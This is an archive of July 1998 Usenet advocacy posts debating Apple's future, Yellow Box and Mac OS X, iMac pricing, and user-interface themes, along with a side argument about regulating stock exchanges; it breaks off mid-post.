> > who bought PCs can't stand the thought that they might have made the wrong
> > decision, so they have to bad-mouth the Mac.
>
> Actually, its all in the wording of the question.
>
> "It's already lost all the big battles"
>
> Does anyone want to disagree with that statement? If the big battles
> were for marketshare, developer loyality, and application volume, how
> has Apple 'won' these battles?
>
> What 'big battles' has Apple 'won' across the computer battlefield?
Sort of.
But look at the first word in the response. "Struggling"??? You could have
used that to describe Apple a year ago. It certainly doesn't apply now.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 17:24:23 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6old07$ogr$1@lwnws01.ne.highway1.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <6ol5j8$12g@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> I was replying to another poster, who I think did say it.
>
> Some in Mac and Next advocacy wail when a "wintel troll" comes by to tell
> them that Mac/Next is nowhere without marketshare, and the technical merit
> of the products is suspect because they have "failed". Some of the same
> people will turn around and pull the same trick on Be. I find that
> hypocracy quite disturbing. Either those individuals are so lacking in
> moral fiber that the accept the hypocracy, or so lacking in intelligence
> that they don't even see it.
I'm sorry, I jumped in the thread midstream and clearly goofed on the
context. My bad.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 10:31:58 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1607981031580001@2-20.phx.psn.net>
References: <6oj92v$6d9$1@news.spacelab.net> <B1D2D2AB-D80AC@206.165.43.119> <6ol3ov$722$2@server.signat.org>
NNTP-Posting-Date: 16 Jul 1998 17:30:07 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ol3ov$722$2@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> If Apple wanted to they could distribute YB and MacOS-X in general on every
> machine they've built, and for a little more effort they could do the same on
> Intel (sans Carbon/BlueBox of course). Never confuse their own positioning
> for technical problems, it's solely Apple's fault that YB is slowly being
> pushed into the high end.
I'm sorry, but to even a non-programmer such as myself (gasp!) the above
is complete crap. There is absolutely no way that Yellow Box apps could
ever run on Mac OS 8 or below, and not even on 8.5. It isn't just a matter
of compiling some libraries--an app written for Yellow Box would be
multithreaded, preemptively multitalking and writtne for a totally
different memory-handling and VM routine. There is no way to force that
back-asswards on the pitiful 10-year-old internals of Mac OS.
As for Mac OS X running on every machine they've built: a pipe dream's
pipe dream. A comment like that doesn't even pass the sanity test.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 17:01:00 GMT
Organization: wazza?
Message-ID: <6olbkc$bl2$1@server.signat.org>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
Mime-Version: 1.0
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Cc: buck.erik@mcleod.net
In <6o8adb$i746@odie.mcleod.net> "Michelle L. Buck" wrote:
> applications. Apple and the YellowBox are dead now at least for my company
> and the Fortune 100 companies we serve.
Was it alive in the past?
Maury
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 17:27:43 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6old6f$ogr$2@lwnws01.ne.highway1.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be>
drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
> You must be joking... Dunno about Dell and Compaq but Apple and MS
> started when the market was WIDE open. Are u kidding trying to compare
> Be and those two companies?
I wasn't joking, but than again I wasn't thinking very hard so it's the same
end result. LOL. :) You have a good point there. Compaq started early,
but was competing against IBM when they owned it all. MS started against IBM
too, so some credit is deserved. Dell did start significantly later, and so
did gateway 2000 for that matter. So at, I think it's fair to say that
GK2000, and Dell got in in the thick of things (unless someone can provide
more accurate info than my guessing).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 10:34:13 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1607981034130001@2-20.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <not-1507981748580001@5-45.phx.psn.net> <1dc9e2g.1vwcgsl1tv71hcN@dialup184-3-49.swipnet.se>
NNTP-Posting-Date: 16 Jul 1998 17:32:22 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <1dc9e2g.1vwcgsl1tv71hcN@dialup184-3-49.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> It's the same old Mac OS deep down under, just optimized a bit with some
> flashy additions at the surface. The problem with old Mac OS is not what
> you see, the UI. The problem is the foundation deep down under.
Please comment upon issues you are informed about.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 10:37:17 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1607981037170001@2-20.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <pxpst2-1607981145120001@pelli.pathology.pitt.edu>
NNTP-Posting-Date: 16 Jul 1998 17:35:26 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <pxpst2-1607981145120001@pelli.pathology.pitt.edu>,
pxpst2@spam.suxs.unixs.cis.pitt.edu wrote:
> You are very clueless. Certain Peaple should be known by name. And to
> prevent you from looking like a Jack ass I will give you a clue:
> Scott Anquish....ex NeXt programmer/current Rhapsody progammer...has lots
> of freinds and is not likely to offer conjecture. In other words this guy
> is not a Rumor Hound. And actually writes code for a living.
Sorry, you haven't read enough of this thread to say anything interesting
about it yet.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 10:39:32 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1607981039320001@2-20.phx.psn.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6okmrf$10j$3@ironhorse.plsys.co.uk>
NNTP-Posting-Date: 16 Jul 1998 17:37:41 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6okmrf$10j$3@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> For what it's worth, I assure you Scott's sources are more higher level than
> the intern toilet washer. You're probably unaware of how close a community
> the NeXT group was; many of our ex-NeXT net.friends in Apple have positions
> of seniority.
I'm sure that is true, but it still marks him as a biased source of
information on the subject at hand. What guarantee is there that he would
tell us that Yellow Box is dead if he heard *that* from his sources?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 16 Jul 1998 17:36:43 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oldnb$ogr$3@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net> <6ojtb7$otj$1@lwnws01.ne.highway1.com> <6ol2a8$ras@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
> For the big few (Windows, Mac, CDE) the "look" of their interface has
> become their trademark. Like the Golden Arches(TM). If they change the
> look of their screen too much, people might drive by, and look for a new
> restaurant.
That's almost a good argument (I don't mean that as snippy as it comes off, I
mean, if I didn't know the law on that topic it makes a lot of sense). I've
never hear of a UI being trademarked, and am pretty sure it cannot be. It's
definatly not copyrightable. There are some psuedo TM cases, but not really
on point at all (I'm thinking sega which is a very different context, and
they lost anway).
Also ms had the guts to go through HUGE look changes with windows. The X
interfaces have gone through huge changes as well. Guess what hasn't.
That's right, the mac.
> You asked earlier for readers to question your beliefs John. I'd ask why
> you pursue a better UI, but in some posts reject individual exploration
> through themes.
Yes, that used to be my belief. The reason for that is the benefits of
consistency. The rigid consistency of NeXTSTEP UI actually improves
workflow. Regardless my opinion on this was changed by many very fine usenet
arguments. The main one was, as long as there is a per user preference
(which OPENSTEP provides) and there is a default UI, and a way to quickChange
to the default UI, I think most of my concerns are taken care of. So I'm all
for it. As long as the default UI would be some latest and greatest UI, and
then classic versions would be offered as well. Anyway, the themes are
really not UI enhancers so much as pretty perwinkle screen painters. They
don't affect core UI functionality as much as being a vehicle for displaying
poor taste in color schemes et al. That's my take on it as of today; as
always I reserve my right to be 100% wrong. :) YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: craigm@gdi.net (Craig Morehouse)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 16 Jul 1998 17:20:11 GMT
Organization: Global Datalink, Inc.
Message-ID: <6olcob$t9i@news.gdi.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com> <SCOTT.98Jul13153549@slave.doubleu.com>
<SCOTT.98Jul14141739@slave.doubleu.com> <6oiqol$odh$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jrudd@cygnus.com
In <6oiqol$odh$1@cronkite.cygnus.com> John Rudd wrote:
> In <SCOTT.98Jul14141739@slave.doubleu.com> Scott Hess wrote:
> > Actually, I was just wondering....
> >
> > The NeXT faithful are pretty faithful, some of them. I wonder how
> > much money you could bring in if you set up a "NeXT Club", and charged
> > $100/year for membership. Dues would pay to employ psuedo-volunteers
> > to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
> > assuming a low pay scale, relative to industry.] Membership would get
> > you, say, access to source code, or perhaps access to new releases
> > earlier than the regular joe.
> >
>
> I'll pay. With one condition: Gnustep+hurd has to be supported too :-)
> (sorry, I just really like microkernels)
>
> I'd even be willing to do what I can to be part of those
> "pseudo-volunteers".. though I'm more of a sysadmin and idea-man than
> developer.
>
>
If any of this comes about, I'll volunteer to administer the list and write
the articles.
CAM
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 16 Jul 1998 17:49:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oleg0$pgd$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <joe.ragosta-1607980759480001@wil45.dol.net> <6oktri$frj$1@lwnws01.ne.highway1.com> <joe.ragosta-1607981004370001@wil67.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> And, as has been stated, the comparison is name brand machines. The data
> has already been provided that very few people are buying no name clones
> (80% of computer sales are to the top 10 vendors alone). Apple has no
> immediate plans to compete against garage shop clones.
>
> When you can find a name brand vendor who offers a deal that's
> significantly enough below the iMac's price to make a difference, feel
> free to provide it. Until then, you haven't proven your assertion.
You're quite wrong, I have proven my assertion. You are interjecting an
assertion that suits your purpose. There is 20% of the market that does buy
this stuff. A market about 5-7 times the size of the mac market. Apple, as
a sole provider of it's wares does, in part, compete for seats in that
market. One fifth the market is substantial. Plus, I imagine that number
9&10 on that top 10 list might be things like Comtrade or CyberMax which are
are pretty much bargain basement places with nicer color ads.
Oh, and on page 178 July ComputerShopper, you can get an IBM pentium pro 200,
32mb ram, 4.2gb drive, NT, 4mb video, 16x drive, 15" monitor for 998. I'm
just flipp'n at random here, and if I had the august CShopper, probably would
find even more. Also, we'll see what the big boys offer around August. My
bet is 999 machines will be there and undercut the mac. Dell might do it
only for spite. The worry seems to be that apple will stretch production and
likely not even be able to keep with demand at 1299, so they might as well
charge that much. If they actually had the capacity, it would make a great
deal of sense to sell at 999 when it hits, if only to build all that
marketshare.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 16 Jul 1998 17:58:15 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6olevn$pgd$2@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu>
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <6ojtmb$otj$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> >Which is a real shame, b/c if they released the imac for 999,
> >it would make all the difference in the world. It would just
> >tear new aholes in the market. At 1300bux, it really is not
> >all that competitive to the wintel market, unfortunatly. Still
> >very cute and cool. I might even get one; when it goes down to
> >999 that is. (woowhoo :)
>
> I'm not sure how, other than psychologically.
Exactly. Also, it is a 30% increase too, so it's a significant price
difference. You can get a nice VCR with that extra nickel.
> Apple has stated that they _hope_ they can meet demand by xMas.
> The problem simply comes down to a case where Apple can't make
> as much as the market wants. Given that, the prices will stay
> up.
Right. And that's a shame, because if they could meet the demand of a $999
machine, they could win major marketshare (relative to what they have now),
make their platform a more attractive one as a consequence, sell more
upgrades for OSX/Rhapsody, and in general get more of a toe hold. If Japan
and ms teach us anything, marketshare is *the* valuable prize.
> As for price competitiveness, I'd say it is well balanced. Sure,
> there are cheaper systems out there, but Apple appears to be
> throwing in some speed and quality to offset the cost. Reasonable.
> So long as 20% of the market find value in quality then Apple
> should be ok with this strategy near-term.
>
> At $999, it really would tear a new ahole in the market, though.
Exactly. I'm sure they'll sell all they can make at 1299 for 4months or so.
But the killer would be if they could meet demand at 999. If I were there,
I'd eat a lot of shit to make that happen just to get back all that
marketshare. The marketshare translates into significant power and leverage.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Subject: Re: Microsoft Delays Win NT
Newsgroups: comp.sys.next.advocacy
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com>
In-Reply-To: <35AE2C81.AB098FF4@ericsson.com>
From: not@my.address.net
Message-ID: <dHrr1.4009$24.23232568@news.itd.umich.edu>
Date: Thu, 16 Jul 1998 18:32:41 GMT
NNTP-Posting-Date: Thu, 16 Jul 1998 14:32:41 EDT
On 07/16/98, Michael Peck wrote:
>
>> What keeps these exchanges honest?
>
>Their reputations?
This is (at least) the second time that suggestion has been floated.
One problem with the idea is that reputation provides a very inefficient
mechanism for regulating a marketplace. Reputations take a long time to
develop. The degrade quickly, but even so the timeline is longer than I would
accept for a stock exchange since I could lose a fortune overnight. Here's an
analogy: We could do without meat inspectors and just leave everything up to
the reputation of the butcher in the marketplace. But I don't want to be the
one that dies from Mad Cow disease because one day my butcher got tempted to buy
cheap beef from England and I bought it before word got out.
Besides, with the stock market you need the corporate veil if you're going to
raise capital. That was the whole point of endowing a corporation with a legal
personality distinct from the shareholders. As projects got large, it was
impossible to raise sufficient capital from a small group of investors. But it
was also impossible to raise capital widely since even a $10 stake in a company
as a partner would expose you to unlimited liability, and no one was prepared to
make that tradeoff. So the government enacted legislation shielding
stockholders from corporate liability. Without that kind of intervention in the
marketplace, there wouldn't be any kind of a securities exchange -- regulated or
not. So the idea of raising large sums of capital by exchanging equity in
widely held companies wouldn't even get off the ground without government
intervention in the marketplace.
--
invert: umich.edu jdevlin
insert: shift "2"
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 16 Jul 1998 14:05:50 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ol1bu$hcb$1@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net> <35AD92AA.D633005E@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> John thinks everything sucks. He's said so before, and he thinks that
> UIs have a long way to go before they've earned his approval. That's a
> fair position to take, in my opinion, even though it tends to make him
> somewhat immune to criticism wherever he goes (*wink*).
I only wish. ;) Actually, I don't. Criticism, though oftimes difficult to
swallow, has almost always been a fabulous tool for my improvement. God, as
pitiful as I am now, I shudder at remembering the person I once was. Well,
you live, you grow--hopefully.
> John has said that the NeXT UI is the UI that sucks the least. In fact,
> the only thing on which I would disagree with John is how much he hates
> the Mac UI. I don't really understand that, but I think he's mostly
> right on everything else. Most UIs do suck, and there's ample reason to
> be critical.
I'm against the macUI in particular because I left it, and in my mind,
improved on things by going to the NeXTUI. To me, personally, it's a step
backwards to be *forced* back into using the macUI. And perhaps moreso, I'm
ultra critical of it because so many people are happy like lemmings with it;
it is perhaps the least criticized UI, and it doesn't deserve to be that
anymore. I'm hoping for positive change. That will not ever happen if some
waves are not made; if our displeasure is not vocalized. Even with that, it
seems very likely that apple may still do nothing on this front.
Btw, I like the other poster's philosophy in that he uses positives rather
than *they all suck, but some suck less* model of UI criticism and analysis.
I'm clearly on the sucks less route, but it certainly gives me something to
mull over. On the other hand, that model seems to not provide as much useful
criticism? Or maybe it does. Mull mull. That being said, I can't believe
he thinks the macUI looks more elegant. Egad! Well, I guess different
strokes and all.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 16 Jul 1998 11:39:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6olhc5$cqq@nntp02.primenet.com>
References: <35950368.F8A5D7A7@nstar.net> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
<m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com> <35AD4CA1.E5D02242@cloud9.net> <6ojtb7$otj$1@lwnws01.ne.highway1.com> <6ol2a8$ras@nntp02.primenet.com>
<6oldnb$ogr$3@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > For the big few (Windows, Mac, CDE) the "look" of their interface has
: > become their trademark. Like the Golden Arches(TM). If they change the
: > look of their screen too much, people might drive by, and look for a new
: > restaurant.
: That's almost a good argument (I don't mean that as snippy as it comes off, I
: mean, if I didn't know the law on that topic it makes a lot of sense). I've
: never hear of a UI being trademarked, and am pretty sure it cannot be. It's
: definatly not copyrightable. There are some psuedo TM cases, but not really
: on point at all (I'm thinking sega which is a very different context, and
: they lost anway).
I should know better than to use the word "trademark" loosely with a
lawyer around.
: > You asked earlier for readers to question your beliefs John. I'd ask why
: > you pursue a better UI, but in some posts reject individual exploration
: > through themes.
: Yes, that used to be my belief. [...] Anyway, the themes are
: really not UI enhancers so much as pretty perwinkle screen painters. They
: don't affect core UI functionality as much as being a vehicle for displaying
: poor taste in color schemes et al. That's my take on it as of today; as
: always I reserve my right to be 100% wrong. :) YMMV.
I'm glad to hear you are giving themes a chance. I think the theme
concept can be pushed a lot further than periwinkle. The Swing look and
feel design has pushed the envelope a bit. As an example, there have been
left-or-right scrollbar wars in this group. It would be trivial to move
the scrollbar to the other side of a JScrollPane in a new Swing look and
feel. I look forward to more innovation in this area.
John
From: drooling.idiot.nospam@euronet.be (Little Piggy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 16 Jul 1998 18:35:53 GMT
Organization: EuroNet Internet
Message-ID: <35ae441d.20709989@news.euronet.be>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <6ol1f1$hcb$2@lwnws01.ne.highway1.com> <35ae1722.9194881@news.euronet.be> <6old6f$ogr$2@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
>drooling.idiot.nospam@euronet.be (Little Piggy) wrote:
>> You must be joking... Dunno about Dell and Compaq but Apple and MS
>> started when the market was WIDE open. Are u kidding trying to compare
>> Be and those two companies?
>
>I wasn't joking, but than again I wasn't thinking very hard so it's the same
>end result. LOL. :) You have a good point there. Compaq started early,
>but was competing against IBM when they owned it all. MS started against IBM
>too, so some credit is deserved.
Sorry but MS did not start against IBM, they became big
_with_the_help_ IBM. In fact, probably the only reason MS is in such a
dominant position is _because_ of IBM!
> Dell did start significantly later, and so
>did gateway 2000 for that matter. So at, I think it's fair to say that
>GK2000, and Dell got in in the thick of things (unless someone can provide
>more accurate info than my guessing).
I dunno but I sincerely believe that u cannot compare the software
market with the hardware market. Completely different beasts. The two
are linked, true, but they are under different influences. The arrival
of the asian hardware manufacturers made it possible for certain
newcomers to make it in the computer assembling world. Plus any fool
can assemble a PC given the components (proof: hell I did it and I'm
no genius:)
--
Little Piggy
Who is General Failure and why is he reading my hard disk?
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 16 Jul 1998 13:58:16 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AE4D48.B45E4579@ericsson.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
not@my.address.net wrote:
> This is (at least) the second time that suggestion has been floated.
That means it's consistent.
> One problem with the idea is that reputation provides a very inefficient
> mechanism for regulating a marketplace.
Good, because I'm opposed to "regulation". Anyway, I'm sure you're quite
familiar with many "brand names", which are to say the labels by which
we recognize reputations. How many times have you heard Ford Pinto
jokes? How many times have you heard ValuJet jokes?
Reputation is one of the most powerful forms of influence in existence.
NB: influence is different from "regulation".
> Reputations take a long time to
> develop. The degrade quickly, but even so the timeline is longer than I would
> accept for a stock exchange since I could lose a fortune overnight.
Then don't accept it. Only invest with established exchanges, or don't
invest. It's your choice.
> Here's an
> analogy: We could do without meat inspectors and just leave everything up to
> the reputation of the butcher in the marketplace. But I don't want to be the
> one that dies from Mad Cow disease because one day my butcher got tempted to buy
> cheap beef from England and I bought it before word got out.
Why would you trust the word of your butcher on matters of beef
distribution? A butcher is paid to dress meat, not to oversee
international beef purchases. That's ridiculous. Personally, I'd look
for a butcher with a sign that says "We Sell SafeMeat Products" because
I'd know that SafeMeat is a company with a good reputation for its
product.
[cut]
> But it
> was also impossible to raise capital widely since even a $10 stake in a company
> as a partner would expose you to unlimited liability, and no one was prepared to
> make that tradeoff.
What, besides the liberal nature of the Court, can account for this?
> So the government enacted legislation shielding
> stockholders from corporate liability.
It shields them from liability against their personal assets, it does
not protect their investments. In other words, plaintiffs cannot come
after them and their families, but in pursuing the "offending" company
plaintiffs can strip the stockholders' investments. That was the subject
of this entire conversation: the safety of investments. It was never
about whether or not liability should or should not extend to investors'
personal assets.
> Without that kind of intervention in the
> marketplace, there wouldn't be any kind of a securities exchange -- regulated or
> not.
So you just throw this out as fact without anything to back it up?
> So the idea of raising large sums of capital by exchanging equity in
> widely held companies wouldn't even get off the ground without government
> intervention in the marketplace.
Baloney. This is like the "free markets didn't exist before government"
argument. Investment was common practice well before legislation was
enacted to shield investors from frivolous lawsuits. Some of that may
just be that courts weren't quite so willing to entertain frivolous
